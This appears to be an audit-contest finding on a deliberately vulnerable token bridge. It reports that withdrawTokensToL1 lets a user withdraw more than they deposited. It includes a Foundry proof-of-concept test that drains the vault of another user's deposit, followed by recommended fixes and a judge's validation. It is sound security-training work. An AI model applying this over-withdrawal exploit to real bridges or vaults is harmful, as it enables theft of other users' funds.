First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

user can withdraw any amount tokens from L2

zach030

Summary
The smart contract allows users to withdraw any amount of tokens to L1 without checking the deposit amount record.
Vulnerability Details
The withdrawTokensToL1 function in the smart contract does not include any validation or checking of the deposit amount before allowing the withdrawal.
This allows any user to withdraw tokens to L1 without having a corresponding deposit amount.
Here is the test example code, user deposit amount is depositAmount but withdraw 2*depositAmount tokens.

function testUserCanWithdrawExceedTokens() public {
uint256 depositAmount = 10e18;
​
address userA = makeAddr('userA');
vm.startPrank(userA);
deal(address(token),userA, depositAmount);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(userA, userInL2, depositAmount);
​
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
​
assertEq(token.balanceOf(address(vault)), depositAmount*2);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
​
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount*2), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount*2, v, r, s);
​
assertEq(token.balanceOf(address(user)), userInitialBalance+depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}

Impact
Users can exploit the contract by withdrawing more tokens than they have actually deposited

Recommendations

  1. Implement a deposit tracking mechanism: Maintain a record of the deposited tokens and their corresponding amounts to ensure that only the deposited amount can be withdrawn.

  2. Add validation checks: Before allowing a withdrawal, verify that the user's withdrawal amount does not exceed their deposited amount.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.